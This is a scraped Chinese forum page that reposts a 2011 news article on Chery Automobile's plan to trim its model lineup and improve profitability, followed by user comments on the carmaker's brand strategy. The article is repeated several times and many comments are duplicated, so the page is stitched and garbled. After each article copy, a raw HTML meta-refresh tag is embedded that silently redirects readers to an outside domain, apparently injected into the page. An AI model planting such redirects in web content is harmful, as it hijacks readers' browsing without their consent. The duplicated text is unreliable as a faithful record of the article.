超级军网奇瑞汽车瘦身:二次转型放弃“唯规模论”
来源：百度文库 编辑：超级军网 时间：2024/04/29 09:48:49
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本报记者 俞凌琳 上海报道
奇瑞汽车年初在北京公布去年全年的销量为68.2万辆，并把今年的销售目标定为80万辆，预计增长率只有17.3%，远低于近年的实际增长速度。
“2011是奇瑞的转型期，今年销量不是主要目的。”奇瑞内部人士透露，奇瑞对自己并没有量的要求，奇瑞汽车董事长尹同跃在接受记者采访时，态度坚决地表示：“今年宁可跌落到销量前十名开外，也要实施战略转型。”
中期发展战略将2009年定义为布局的一年。这一年，奇瑞形成了四张营销网络，还推出了瑞麒和威麟两个高端品牌。为了配合多品牌，奇瑞推出了众多产品，形成“多生孩子好打架”的局面。此举如愿提升了奇瑞汽车的总体销量规模，2010年，奇瑞全球销售68.2万辆，同比增长36.2%。但奇瑞汽车大部分车型单车销量欠佳，特别是中高端品牌，并没有实现预期的销量。
2011年，按照奇瑞的中期发展战略，应该是“成长2011”，不过，记者了解到，基于此前做得还不够成功，奇瑞正在进行“二次转型”。“总的思路是让奇瑞的产品品质做得更好，赢利能力更强，打开中高端品牌的销路。”上述人士说。
盈利难题
近年来，尹同跃也频频进入新领域。把定位为“民生品牌”的开瑞微车业务，看作是新增量，希望抓住国家大力拉动内需的政策机遇。开瑞微车制订了3年内进入微车市场前3名，并逐步成为国内微车领头羊的市场目标。但微车利润毕竟有限。
奇瑞本来打算通过瑞麒和威麟两个高端品牌来提升利润，但三年来，奇瑞盈利能力反而呈现了逐年下滑的趋势。
2007年至2009年营业利润分别为11.3亿元、-1.94亿元、-5.56亿元，即使依靠补贴带来的营业外收入，净利润率也只有5.25%、2.38%和0.27%。
对比竞争对手吉利和比亚迪，吉利无论是资产规模、销量、收入都低于奇瑞，但2009年净利润近12亿元；年销量44万辆的比亚迪2009年盈利达35亿元（含汽车以外产业收益）。
奇瑞不盈利的原因是均价不高（2009年均价只有4万元），威麟与瑞麒虽然定价较高，但品牌还在投入期，而一时之间还很难获得消费者的认同，安徽麒麟汽车销售有限公司，2009年收入为8.85亿元，亏损1.5亿元。
其次是奇瑞的车型换得太快产品线太长，致使规模效益较低。2010年上半年新上市产品较多，品牌推广费用支出增加近3.5亿元。加上几年前奇瑞就开始正向研发，一辆车往往需要4到5年才能开发出来。如果卖不好要停产，前面开发的钱就白花了。
以自主品牌打天下的奇瑞，为每年能拿出收入的6%-7%投入研发而自豪。奇瑞是最早设立研究院、最早引入“海归”的本土车商，2010年7月投资14亿元的奇瑞国家工程试验中心是亚洲规模最大、实验设备最先进、功能最齐全的汽车技术试验中心。
奇瑞的研发费用和管理费用之高也位列几家本土车商之冠，其中研发支出是大头。2009年管理费用大幅增加至12.5亿元，主要就是计入了3.84亿元资本化的开发支出，这直接导致2009年主业亏损。
对研发的执着投入使奇瑞的产品走出了抄袭的阴影，取得了市场看得见的进步，但是其研发的广种薄收令人尴尬也是事实。
如何确保每个品牌每款车都能成为热销车型，提高平均单车销量同时提高利润率，有效控制好质量和成本之间的平衡，是尹同跃正在权衡的。
精品路线
奇瑞的产品是出了名的多。“我们自己也不知道奇瑞到底有多少款车。”在奇瑞汽车安徽芜湖总部，一名奇瑞员工在回答记者提问时说。无论是外人还是奇瑞内部员工，都很难弄清奇瑞究竟有多少款车型在售。
一个初步的统计是25款以上仅QQ系列，就有QQ3、QQ6、QQ me等多款车型，再加上M1、G5、风云、旗云、瑞虎以及东方之子，呈现在消费者面前的是盘根错节的产品格局。
“奇瑞的产品太多了，给人的感觉很混乱。”汽车分析师钟师对本报表示。
尤其值得关注的是，奇瑞旗下瑞虎、风云、旗云、QQ系列车型2010年累计销量为52.5万辆，约占奇瑞汽车当年总销量的77%。其余十多款车型当年销量累计占比仅23%。
一位有着多年汽车业经验的人士告诉记者，在未能形成几个有竞争力的车型前，研发的车型越多，投入就越大，成本就越高。
多位奇瑞供应商表示，由于车型变化太快，A级供应商相应会支付更多研发费用在前期试制阶段。一旦产品滞销，一整套设备就作废，“完全浪费”。供应商一款配件的前期研发费用可能上百万元，而奇瑞一款车型的研发费用则至少几千万元。
“在未来这段时间，我们还要努力保持规模发展，但会更加注意品质。可能我们的新产品增加的数目不会像以前那么快了。”今年年初，奇瑞汽车股份有限公司常务副总郭谦在记者采访时透露。
配合今年的战略转型，2010年，奇瑞已对庞大的产品线“开刀”。2010年，奇瑞宣布了一项“二次整合”旗云品牌计划，将QQ6和A5更名为旗云1和旗云3。与此同时，QQ、风云系列产品也在进行类似整合。
根据尹同跃思路，奇瑞未来产品将精简为旗云、风云、QQ、瑞虎等几大系列，以此变更市场上奇瑞产品庞杂的症结。而最终的目标，是提升经营品质与产品议价能力，获取更多利润。而非一味依靠产品数量获取销量规模，丧失企业盈利能力。
“奇瑞很清楚地意识到，只有通过走精品路线，才能最终实现战略转型，使奇瑞突破中高端的瓶颈。”钟师认为。
2011年，奇瑞汽车将有5款新车上市，均是奇瑞“精品模式”的转型力作。
再谈合资
无内不稳，无外不强海外市场也是奇瑞未来一块重要盈利空间。目前，奇瑞已经在俄罗斯、乌克兰、伊朗、埃及、马来西亚、印尼、乌拉圭等15个国家和地区建成了12个工厂、在建的有4个工厂，目前还有一批海外工厂正在筹建中。奇瑞的海外战略正从“走出去”向“走进去”转型。目前的出口体量虽然已经在中国汽车企业中多年稳居第一宝座，但要在盈利空间上形成更大的优势还必须提高单位产品的附加值。
奇瑞内部人士坦言，虽然奇瑞在产品品质、技术很多方面不落后于合资企业，但品牌形象却并未同步提升，难以产生品牌溢价，长期在低端市场纠缠。
“合资是目前提升品牌溢价一个最快捷有效的方式。”钟师认为，特别是和斯巴鲁这家同样是技术型的公司之间的合资。
此前，据日经新闻报道，日本富士重工将联合中国汽车制造商奇瑞在大连投资建厂生产斯巴鲁汽车，预计双方共同投资金额约2.4亿人民币（30亿日元）。记者从斯巴鲁中国权威人士处证实：“斯巴鲁与奇瑞之间谈判进展得很顺利，签约已是十有八九的事。”最后和奇瑞的合资计划有望于3月底公布。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
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奇瑞汽车年初在北京公布去年全年的销量为68.2万辆，并把今年的销售目标定为80万辆，预计增长率只有17.3%，远低于近年的实际增长速度。
“2011是奇瑞的转型期，今年销量不是主要目的。”奇瑞内部人士透露，奇瑞对自己并没有量的要求，奇瑞汽车董事长尹同跃在接受记者采访时，态度坚决地表示：“今年宁可跌落到销量前十名开外，也要实施战略转型。”
中期发展战略将2009年定义为布局的一年。这一年，奇瑞形成了四张营销网络，还推出了瑞麒和威麟两个高端品牌。为了配合多品牌，奇瑞推出了众多产品，形成“多生孩子好打架”的局面。此举如愿提升了奇瑞汽车的总体销量规模，2010年，奇瑞全球销售68.2万辆，同比增长36.2%。但奇瑞汽车大部分车型单车销量欠佳，特别是中高端品牌，并没有实现预期的销量。
2011年，按照奇瑞的中期发展战略，应该是“成长2011”，不过，记者了解到，基于此前做得还不够成功，奇瑞正在进行“二次转型”。“总的思路是让奇瑞的产品品质做得更好，赢利能力更强，打开中高端品牌的销路。”上述人士说。
盈利难题
近年来，尹同跃也频频进入新领域。把定位为“民生品牌”的开瑞微车业务，看作是新增量，希望抓住国家大力拉动内需的政策机遇。开瑞微车制订了3年内进入微车市场前3名，并逐步成为国内微车领头羊的市场目标。但微车利润毕竟有限。
奇瑞本来打算通过瑞麒和威麟两个高端品牌来提升利润，但三年来，奇瑞盈利能力反而呈现了逐年下滑的趋势。
2007年至2009年营业利润分别为11.3亿元、-1.94亿元、-5.56亿元，即使依靠补贴带来的营业外收入，净利润率也只有5.25%、2.38%和0.27%。
对比竞争对手吉利和比亚迪，吉利无论是资产规模、销量、收入都低于奇瑞，但2009年净利润近12亿元；年销量44万辆的比亚迪2009年盈利达35亿元（含汽车以外产业收益）。
奇瑞不盈利的原因是均价不高（2009年均价只有4万元），威麟与瑞麒虽然定价较高，但品牌还在投入期，而一时之间还很难获得消费者的认同，安徽麒麟汽车销售有限公司，2009年收入为8.85亿元，亏损1.5亿元。
其次是奇瑞的车型换得太快产品线太长，致使规模效益较低。2010年上半年新上市产品较多，品牌推广费用支出增加近3.5亿元。加上几年前奇瑞就开始正向研发，一辆车往往需要4到5年才能开发出来。如果卖不好要停产，前面开发的钱就白花了。
以自主品牌打天下的奇瑞，为每年能拿出收入的6%-7%投入研发而自豪。奇瑞是最早设立研究院、最早引入“海归”的本土车商，2010年7月投资14亿元的奇瑞国家工程试验中心是亚洲规模最大、实验设备最先进、功能最齐全的汽车技术试验中心。
奇瑞的研发费用和管理费用之高也位列几家本土车商之冠，其中研发支出是大头。2009年管理费用大幅增加至12.5亿元，主要就是计入了3.84亿元资本化的开发支出，这直接导致2009年主业亏损。
对研发的执着投入使奇瑞的产品走出了抄袭的阴影，取得了市场看得见的进步，但是其研发的广种薄收令人尴尬也是事实。
如何确保每个品牌每款车都能成为热销车型，提高平均单车销量同时提高利润率，有效控制好质量和成本之间的平衡，是尹同跃正在权衡的。
精品路线
奇瑞的产品是出了名的多。“我们自己也不知道奇瑞到底有多少款车。”在奇瑞汽车安徽芜湖总部，一名奇瑞员工在回答记者提问时说。无论是外人还是奇瑞内部员工，都很难弄清奇瑞究竟有多少款车型在售。
一个初步的统计是25款以上仅QQ系列，就有QQ3、QQ6、QQ me等多款车型，再加上M1、G5、风云、旗云、瑞虎以及东方之子，呈现在消费者面前的是盘根错节的产品格局。
“奇瑞的产品太多了，给人的感觉很混乱。”汽车分析师钟师对本报表示。
尤其值得关注的是，奇瑞旗下瑞虎、风云、旗云、QQ系列车型2010年累计销量为52.5万辆，约占奇瑞汽车当年总销量的77%。其余十多款车型当年销量累计占比仅23%。
一位有着多年汽车业经验的人士告诉记者，在未能形成几个有竞争力的车型前，研发的车型越多，投入就越大，成本就越高。
多位奇瑞供应商表示，由于车型变化太快，A级供应商相应会支付更多研发费用在前期试制阶段。一旦产品滞销，一整套设备就作废，“完全浪费”。供应商一款配件的前期研发费用可能上百万元，而奇瑞一款车型的研发费用则至少几千万元。
“在未来这段时间，我们还要努力保持规模发展，但会更加注意品质。可能我们的新产品增加的数目不会像以前那么快了。”今年年初，奇瑞汽车股份有限公司常务副总郭谦在记者采访时透露。
配合今年的战略转型，2010年，奇瑞已对庞大的产品线“开刀”。2010年，奇瑞宣布了一项“二次整合”旗云品牌计划，将QQ6和A5更名为旗云1和旗云3。与此同时，QQ、风云系列产品也在进行类似整合。
根据尹同跃思路，奇瑞未来产品将精简为旗云、风云、QQ、瑞虎等几大系列，以此变更市场上奇瑞产品庞杂的症结。而最终的目标，是提升经营品质与产品议价能力，获取更多利润。而非一味依靠产品数量获取销量规模，丧失企业盈利能力。
“奇瑞很清楚地意识到，只有通过走精品路线，才能最终实现战略转型，使奇瑞突破中高端的瓶颈。”钟师认为。
2011年，奇瑞汽车将有5款新车上市，均是奇瑞“精品模式”的转型力作。
再谈合资
无内不稳，无外不强海外市场也是奇瑞未来一块重要盈利空间。目前，奇瑞已经在俄罗斯、乌克兰、伊朗、埃及、马来西亚、印尼、乌拉圭等15个国家和地区建成了12个工厂、在建的有4个工厂，目前还有一批海外工厂正在筹建中。奇瑞的海外战略正从“走出去”向“走进去”转型。目前的出口体量虽然已经在中国汽车企业中多年稳居第一宝座，但要在盈利空间上形成更大的优势还必须提高单位产品的附加值。
奇瑞内部人士坦言，虽然奇瑞在产品品质、技术很多方面不落后于合资企业，但品牌形象却并未同步提升，难以产生品牌溢价，长期在低端市场纠缠。
“合资是目前提升品牌溢价一个最快捷有效的方式。”钟师认为，特别是和斯巴鲁这家同样是技术型的公司之间的合资。
此前，据日经新闻报道，日本富士重工将联合中国汽车制造商奇瑞在大连投资建厂生产斯巴鲁汽车，预计双方共同投资金额约2.4亿人民币（30亿日元）。记者从斯巴鲁中国权威人士处证实：“斯巴鲁与奇瑞之间谈判进展得很顺利，签约已是十有八九的事。”最后和奇瑞的合资计划有望于3月底公布。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
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中期发展战略将2009年定义为布局的一年。这一年，奇瑞形成了四张营销网络，还推出了瑞麒和威麟两个高端品牌。为了配合多品牌，奇瑞推出了众多产品，形成“多生孩子好打架”的局面。此举如愿提升了奇瑞汽车的总体销量规模，2010年，奇瑞全球销售68.2万辆，同比增长36.2%。但奇瑞汽车大部分车型单车销量欠佳，特别是中高端品牌，并没有实现预期的销量。
2011年，按照奇瑞的中期发展战略，应该是“成长2011”，不过，记者了解到，基于此前做得还不够成功，奇瑞正在进行“二次转型”。“总的思路是让奇瑞的产品品质做得更好，赢利能力更强，打开中高端品牌的销路。”上述人士说。
盈利难题
近年来，尹同跃也频频进入新领域。把定位为“民生品牌”的开瑞微车业务，看作是新增量，希望抓住国家大力拉动内需的政策机遇。开瑞微车制订了3年内进入微车市场前3名，并逐步成为国内微车领头羊的市场目标。但微车利润毕竟有限。
奇瑞本来打算通过瑞麒和威麟两个高端品牌来提升利润，但三年来，奇瑞盈利能力反而呈现了逐年下滑的趋势。
2007年至2009年营业利润分别为11.3亿元、-1.94亿元、-5.56亿元，即使依靠补贴带来的营业外收入，净利润率也只有5.25%、2.38%和0.27%。
对比竞争对手吉利和比亚迪，吉利无论是资产规模、销量、收入都低于奇瑞，但2009年净利润近12亿元；年销量44万辆的比亚迪2009年盈利达35亿元（含汽车以外产业收益）。
奇瑞不盈利的原因是均价不高（2009年均价只有4万元），威麟与瑞麒虽然定价较高，但品牌还在投入期，而一时之间还很难获得消费者的认同，安徽麒麟汽车销售有限公司，2009年收入为8.85亿元，亏损1.5亿元。
其次是奇瑞的车型换得太快产品线太长，致使规模效益较低。2010年上半年新上市产品较多，品牌推广费用支出增加近3.5亿元。加上几年前奇瑞就开始正向研发，一辆车往往需要4到5年才能开发出来。如果卖不好要停产，前面开发的钱就白花了。
以自主品牌打天下的奇瑞，为每年能拿出收入的6%-7%投入研发而自豪。奇瑞是最早设立研究院、最早引入“海归”的本土车商，2010年7月投资14亿元的奇瑞国家工程试验中心是亚洲规模最大、实验设备最先进、功能最齐全的汽车技术试验中心。
奇瑞的研发费用和管理费用之高也位列几家本土车商之冠，其中研发支出是大头。2009年管理费用大幅增加至12.5亿元，主要就是计入了3.84亿元资本化的开发支出，这直接导致2009年主业亏损。
对研发的执着投入使奇瑞的产品走出了抄袭的阴影，取得了市场看得见的进步，但是其研发的广种薄收令人尴尬也是事实。
如何确保每个品牌每款车都能成为热销车型，提高平均单车销量同时提高利润率，有效控制好质量和成本之间的平衡，是尹同跃正在权衡的。
精品路线
奇瑞的产品是出了名的多。“我们自己也不知道奇瑞到底有多少款车。”在奇瑞汽车安徽芜湖总部，一名奇瑞员工在回答记者提问时说。无论是外人还是奇瑞内部员工，都很难弄清奇瑞究竟有多少款车型在售。
一个初步的统计是25款以上仅QQ系列，就有QQ3、QQ6、QQ me等多款车型，再加上M1、G5、风云、旗云、瑞虎以及东方之子，呈现在消费者面前的是盘根错节的产品格局。
“奇瑞的产品太多了，给人的感觉很混乱。”汽车分析师钟师对本报表示。
尤其值得关注的是，奇瑞旗下瑞虎、风云、旗云、QQ系列车型2010年累计销量为52.5万辆，约占奇瑞汽车当年总销量的77%。其余十多款车型当年销量累计占比仅23%。
一位有着多年汽车业经验的人士告诉记者，在未能形成几个有竞争力的车型前，研发的车型越多，投入就越大，成本就越高。
多位奇瑞供应商表示，由于车型变化太快，A级供应商相应会支付更多研发费用在前期试制阶段。一旦产品滞销，一整套设备就作废，“完全浪费”。供应商一款配件的前期研发费用可能上百万元，而奇瑞一款车型的研发费用则至少几千万元。
“在未来这段时间，我们还要努力保持规模发展，但会更加注意品质。可能我们的新产品增加的数目不会像以前那么快了。”今年年初，奇瑞汽车股份有限公司常务副总郭谦在记者采访时透露。
配合今年的战略转型，2010年，奇瑞已对庞大的产品线“开刀”。2010年，奇瑞宣布了一项“二次整合”旗云品牌计划，将QQ6和A5更名为旗云1和旗云3。与此同时，QQ、风云系列产品也在进行类似整合。
根据尹同跃思路，奇瑞未来产品将精简为旗云、风云、QQ、瑞虎等几大系列，以此变更市场上奇瑞产品庞杂的症结。而最终的目标，是提升经营品质与产品议价能力，获取更多利润。而非一味依靠产品数量获取销量规模，丧失企业盈利能力。
“奇瑞很清楚地意识到，只有通过走精品路线，才能最终实现战略转型，使奇瑞突破中高端的瓶颈。”钟师认为。
2011年，奇瑞汽车将有5款新车上市，均是奇瑞“精品模式”的转型力作。
再谈合资
无内不稳，无外不强海外市场也是奇瑞未来一块重要盈利空间。目前，奇瑞已经在俄罗斯、乌克兰、伊朗、埃及、马来西亚、印尼、乌拉圭等15个国家和地区建成了12个工厂、在建的有4个工厂，目前还有一批海外工厂正在筹建中。奇瑞的海外战略正从“走出去”向“走进去”转型。目前的出口体量虽然已经在中国汽车企业中多年稳居第一宝座，但要在盈利空间上形成更大的优势还必须提高单位产品的附加值。
奇瑞内部人士坦言，虽然奇瑞在产品品质、技术很多方面不落后于合资企业，但品牌形象却并未同步提升，难以产生品牌溢价，长期在低端市场纠缠。
“合资是目前提升品牌溢价一个最快捷有效的方式。”钟师认为，特别是和斯巴鲁这家同样是技术型的公司之间的合资。
此前，据日经新闻报道，日本富士重工将联合中国汽车制造商奇瑞在大连投资建厂生产斯巴鲁汽车，预计双方共同投资金额约2.4亿人民币（30亿日元）。记者从斯巴鲁中国权威人士处证实：“斯巴鲁与奇瑞之间谈判进展得很顺利，签约已是十有八九的事。”最后和奇瑞的合资计划有望于3月底公布。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
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“2011是奇瑞的转型期，今年销量不是主要目的。”奇瑞内部人士透露，奇瑞对自己并没有量的要求，奇瑞汽车董事长尹同跃在接受记者采访时，态度坚决地表示：“今年宁可跌落到销量前十名开外，也要实施战略转型。”
中期发展战略将2009年定义为布局的一年。这一年，奇瑞形成了四张营销网络，还推出了瑞麒和威麟两个高端品牌。为了配合多品牌，奇瑞推出了众多产品，形成“多生孩子好打架”的局面。此举如愿提升了奇瑞汽车的总体销量规模，2010年，奇瑞全球销售68.2万辆，同比增长36.2%。但奇瑞汽车大部分车型单车销量欠佳，特别是中高端品牌，并没有实现预期的销量。
2011年，按照奇瑞的中期发展战略，应该是“成长2011”，不过，记者了解到，基于此前做得还不够成功，奇瑞正在进行“二次转型”。“总的思路是让奇瑞的产品品质做得更好，赢利能力更强，打开中高端品牌的销路。”上述人士说。
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近年来，尹同跃也频频进入新领域。把定位为“民生品牌”的开瑞微车业务，看作是新增量，希望抓住国家大力拉动内需的政策机遇。开瑞微车制订了3年内进入微车市场前3名，并逐步成为国内微车领头羊的市场目标。但微车利润毕竟有限。
奇瑞本来打算通过瑞麒和威麟两个高端品牌来提升利润，但三年来，奇瑞盈利能力反而呈现了逐年下滑的趋势。
2007年至2009年营业利润分别为11.3亿元、-1.94亿元、-5.56亿元，即使依靠补贴带来的营业外收入，净利润率也只有5.25%、2.38%和0.27%。
对比竞争对手吉利和比亚迪，吉利无论是资产规模、销量、收入都低于奇瑞，但2009年净利润近12亿元；年销量44万辆的比亚迪2009年盈利达35亿元（含汽车以外产业收益）。
奇瑞不盈利的原因是均价不高（2009年均价只有4万元），威麟与瑞麒虽然定价较高，但品牌还在投入期，而一时之间还很难获得消费者的认同，安徽麒麟汽车销售有限公司，2009年收入为8.85亿元，亏损1.5亿元。
其次是奇瑞的车型换得太快产品线太长，致使规模效益较低。2010年上半年新上市产品较多，品牌推广费用支出增加近3.5亿元。加上几年前奇瑞就开始正向研发，一辆车往往需要4到5年才能开发出来。如果卖不好要停产，前面开发的钱就白花了。
以自主品牌打天下的奇瑞，为每年能拿出收入的6%-7%投入研发而自豪。奇瑞是最早设立研究院、最早引入“海归”的本土车商，2010年7月投资14亿元的奇瑞国家工程试验中心是亚洲规模最大、实验设备最先进、功能最齐全的汽车技术试验中心。
奇瑞的研发费用和管理费用之高也位列几家本土车商之冠，其中研发支出是大头。2009年管理费用大幅增加至12.5亿元，主要就是计入了3.84亿元资本化的开发支出，这直接导致2009年主业亏损。
对研发的执着投入使奇瑞的产品走出了抄袭的阴影，取得了市场看得见的进步，但是其研发的广种薄收令人尴尬也是事实。
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奇瑞的产品是出了名的多。“我们自己也不知道奇瑞到底有多少款车。”在奇瑞汽车安徽芜湖总部，一名奇瑞员工在回答记者提问时说。无论是外人还是奇瑞内部员工，都很难弄清奇瑞究竟有多少款车型在售。
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根据尹同跃思路，奇瑞未来产品将精简为旗云、风云、QQ、瑞虎等几大系列，以此变更市场上奇瑞产品庞杂的症结。而最终的目标，是提升经营品质与产品议价能力，获取更多利润。而非一味依靠产品数量获取销量规模，丧失企业盈利能力。
“奇瑞很清楚地意识到，只有通过走精品路线，才能最终实现战略转型，使奇瑞突破中高端的瓶颈。”钟师认为。
2011年，奇瑞汽车将有5款新车上市，均是奇瑞“精品模式”的转型力作。
再谈合资
无内不稳，无外不强海外市场也是奇瑞未来一块重要盈利空间。目前，奇瑞已经在俄罗斯、乌克兰、伊朗、埃及、马来西亚、印尼、乌拉圭等15个国家和地区建成了12个工厂、在建的有4个工厂，目前还有一批海外工厂正在筹建中。奇瑞的海外战略正从“走出去”向“走进去”转型。目前的出口体量虽然已经在中国汽车企业中多年稳居第一宝座，但要在盈利空间上形成更大的优势还必须提高单位产品的附加值。
奇瑞内部人士坦言，虽然奇瑞在产品品质、技术很多方面不落后于合资企业，但品牌形象却并未同步提升，难以产生品牌溢价，长期在低端市场纠缠。
“合资是目前提升品牌溢价一个最快捷有效的方式。”钟师认为，特别是和斯巴鲁这家同样是技术型的公司之间的合资。
此前，据日经新闻报道，日本富士重工将联合中国汽车制造商奇瑞在大连投资建厂生产斯巴鲁汽车，预计双方共同投资金额约2.4亿人民币（30亿日元）。记者从斯巴鲁中国权威人士处证实：“斯巴鲁与奇瑞之间谈判进展得很顺利，签约已是十有八九的事。”最后和奇瑞的合资计划有望于3月底公布。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
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奇瑞啊奇瑞，为啥我总觉得他一直没找对路似的
陆地天空海洋 发表于 2011-3-9 12:45 
找对路之前先要找对人
找对路之前先要找对人
奇瑞给我的感觉是，每个产品都不是真正用心造出来的，而是带着明显的“多生孩子打群架”的粗制滥造，完全没有端正态度。
和丰田对应：小车qq-yaris，compact a3-corolla，midsize g6-camry，suv 瑞虎-rav4。认真精细做好这几个就行了，其他的车型真的得瘦身了！
我觉得奇瑞做的已经够不错的了，毕竟底子和资源就那么点，怎么凑都不够！咋办，就是一锅夹生饭，将就着吃吃好了！
奇瑞对品牌的规划完全可以作为一个商业上的反面教材:D
找不准定位就学丰田。
风月傲雪 发表于 2011-3-9 16:08
完全同意。那么多车型全面开花，中高端几乎全军覆灭。还不如学学苹果公司。一年精心推出每个级别产品的一款。就能够赚翻了。
完全同意。那么多车型全面开花，中高端几乎全军覆灭。还不如学学苹果公司。一年精心推出每个级别产品的一款。就能够赚翻了。
超级霉菌 发表于 2011-3-9 16:59
现阶段这些自主品牌搞高端就是作死行为，也不看看现代这么多年了，发展什么高端了吗
老老实实的把他的A系列发展好是最明智的
本来自己品牌知名度就很弱，还搞这么多
现阶段这些自主品牌搞高端就是作死行为，也不看看现代这么多年了，发展什么高端了吗
老老实实的把他的A系列发展好是最明智的
本来自己品牌知名度就很弱，还搞这么多
hopefully 发表于 2011-3-9 13:39
没有风云、旗云，直接销量大跌
没有风云、旗云，直接销量大跌
你本来是靠QQ和旗云成功的，现在可以升级集中力量搞A3，就是巨大的进步了，不要一下跳几级！
你如果高层管理人员中间有一种嘲讽那些天天泡在车间里的生产管理者，
自己天天衣冠楚楚，产品质量能好到哪里去？
自己天天衣冠楚楚，产品质量能好到哪里去？
基本强裂同意各位兄弟的观点，奇瑞就是产品太多，捂不过来
G3、G5，这俩型号感觉最鸡肋，G6又太丑
把旗云系列做好、A系列做好，即可
什么瑞麒、威麟，感觉没必要，真没必要
现款A1拉皮为旗云E1，旗云E2、E3、E5按照目前的规划走，新B16为E6
M1升格新QQ，现款A3和以A3为基础的正在测试G2合并，落为A1，现款G3彻底重新设计外壳，为A2，目前正在测试的M16（A4），落为新A3，G6彻底重新拉皮设计外壳，为新A5
瑞虎彻底重新设计外壳，弄成一个大号的A3两厢外观，为瑞虎1。目前正在测试的3为瑞虎3。传闻中正在研发的X6，为瑞虎5
现款X5彻底重新设计外壳，弄个硬朗刚劲的模样，为硬派越野新X5
统统都是奇瑞商标即可 ！
G3、G5，这俩型号感觉最鸡肋，G6又太丑
把旗云系列做好、A系列做好，即可
什么瑞麒、威麟，感觉没必要，真没必要
现款A1拉皮为旗云E1，旗云E2、E3、E5按照目前的规划走，新B16为E6
M1升格新QQ，现款A3和以A3为基础的正在测试G2合并，落为A1，现款G3彻底重新设计外壳，为A2，目前正在测试的M16（A4），落为新A3，G6彻底重新拉皮设计外壳，为新A5
瑞虎彻底重新设计外壳，弄成一个大号的A3两厢外观，为瑞虎1。目前正在测试的3为瑞虎3。传闻中正在研发的X6，为瑞虎5
现款X5彻底重新设计外壳，弄个硬朗刚劲的模样，为硬派越野新X5
统统都是奇瑞商标即可 ！
楼上是邓磊邯郸吧。。。
YTY的策略，真还是负责和正确的，这人倒霉就倒霉在这些策略是不能宣传的。
多生孩子好打架，Yty想表达的意思根本没有传递清楚。
顺便赞同一下7楼对TB的市场策略的评价：奇瑞对品牌的规划完全可以作为一个商业上的反面教材。
多生孩子好打架，Yty想表达的意思根本没有传递清楚。
顺便赞同一下7楼对TB的市场策略的评价：奇瑞对品牌的规划完全可以作为一个商业上的反面教材。
奇瑞改行卖饮料就是一娃哈哈
回复 15# huanming1985
正式。新奇军不能注册英文ID，只好 ......
正式。新奇军不能注册英文ID，只好 ......
ddeell72 发表于 2011-3-10 09:16
您这搞法比奇瑞现有的还糟糕,现在做的挺好,成熟稳定平台上大肆拉皮改款才是王道.
您这搞法比奇瑞现有的还糟糕,现在做的挺好,成熟稳定平台上大肆拉皮改款才是王道.
icosuyu 发表于 2011-3-10 14:18
尹同学正规军出身,让他安心于壁歪滴那样只搞一两款车,专注于赚钱是不可能的,他的野心我认为是国内车企甚至是世界车企里面最大的.奇瑞一上来就走最难的路,趁最初聚起来的那帮人最能吃苦,最富激情,最不惧挑战,最不计回报,最不惜代价的时候把底子都打好,把技术积累起来,把人才锻炼出来,过了这个时期就好了.要是像壁歪滴那样上来一门心思赚钱,后面根本不可能有迎难而上走难路的勇气和人力. 先难后易,终有大成.
尹同学正规军出身,让他安心于壁歪滴那样只搞一两款车,专注于赚钱是不可能的,他的野心我认为是国内车企甚至是世界车企里面最大的.奇瑞一上来就走最难的路,趁最初聚起来的那帮人最能吃苦,最富激情,最不惧挑战,最不计回报,最不惜代价的时候把底子都打好,把技术积累起来,把人才锻炼出来,过了这个时期就好了.要是像壁歪滴那样上来一门心思赚钱,后面根本不可能有迎难而上走难路的勇气和人力. 先难后易,终有大成.
奇瑞我就知道他这二年飘高了，前年叫嚷着要和江淮合并，甚至是兼并
其实我心里跟明镜似的，奇瑞就玩个声势，真正老成的还是江淮
奇瑞确实要改改思路了，这么疯狂走下去，早晚要完蛋
安徽三家汽车厂商，别看奇瑞牛逼哄哄，利润都不如星马
论帅才来说，尹同耀远不及左延安，只要左在江淮一天，奇瑞就不可能超过江淮
虽同出自合工大，但是左，尹，刘这三个安徽汽车掌门人做事风格完全不同
奇瑞啊奇瑞，你可不能让那些为你狂热的粉丝失望啊。
其实我心里跟明镜似的，奇瑞就玩个声势，真正老成的还是江淮
奇瑞确实要改改思路了，这么疯狂走下去，早晚要完蛋
安徽三家汽车厂商，别看奇瑞牛逼哄哄，利润都不如星马
论帅才来说，尹同耀远不及左延安，只要左在江淮一天，奇瑞就不可能超过江淮
虽同出自合工大，但是左，尹，刘这三个安徽汽车掌门人做事风格完全不同
奇瑞啊奇瑞，你可不能让那些为你狂热的粉丝失望啊。
chchc 发表于 2011-3-10 21:17
说来也奇怪, 为什么奇瑞会有自主品牌里面最多的粉丝? 很多还是自带干粮的铁粉…… 貌似吉利、江淮、长城什么的没有类似的情况， 也没有类似于新奇军这样自发的车友组织。如有，那我就真是孤陋寡闻了。 按理吉利造车不比奇瑞晚，却好像没有类似于新奇军的组织。
说来也奇怪, 为什么奇瑞会有自主品牌里面最多的粉丝? 很多还是自带干粮的铁粉…… 貌似吉利、江淮、长城什么的没有类似的情况， 也没有类似于新奇军这样自发的车友组织。如有，那我就真是孤陋寡闻了。 按理吉利造车不比奇瑞晚，却好像没有类似于新奇军的组织。
说来也奇怪, 为什么奇瑞会有自主品牌里面最多的粉丝? 很多还是自带干粮的铁粉…… 貌似吉利、江 ...
GNRWQ 发表于 2011-3-10 21:47
{:3_89:}奇瑞在TG的弱项 发动机上下的功夫算是最狠的，也是自主里面比较早的。02年就有多达18款发动机产品家族体系的规划了。同时代的吉利还在夏利的底子上捣鼓呢，没一个远期规划的宣传。。。同时奇瑞也是成绩最多的。比吉利，BYD都早完成发动机的自主供应。。当别的自主品牌还在用1.6 2.0 2.4 沈阳三菱发动机，1.0 东安发动机的时候，奇瑞在发动机上已经转型成功了。。。吉利，BYD等其他自主品牌在发动机研发上没有奇瑞这么大投入，这么成体系。存在时间差。所以有粉丝也正常。。。
说来也奇怪, 为什么奇瑞会有自主品牌里面最多的粉丝? 很多还是自带干粮的铁粉…… 貌似吉利、江 ...
GNRWQ 发表于 2011-3-10 21:47
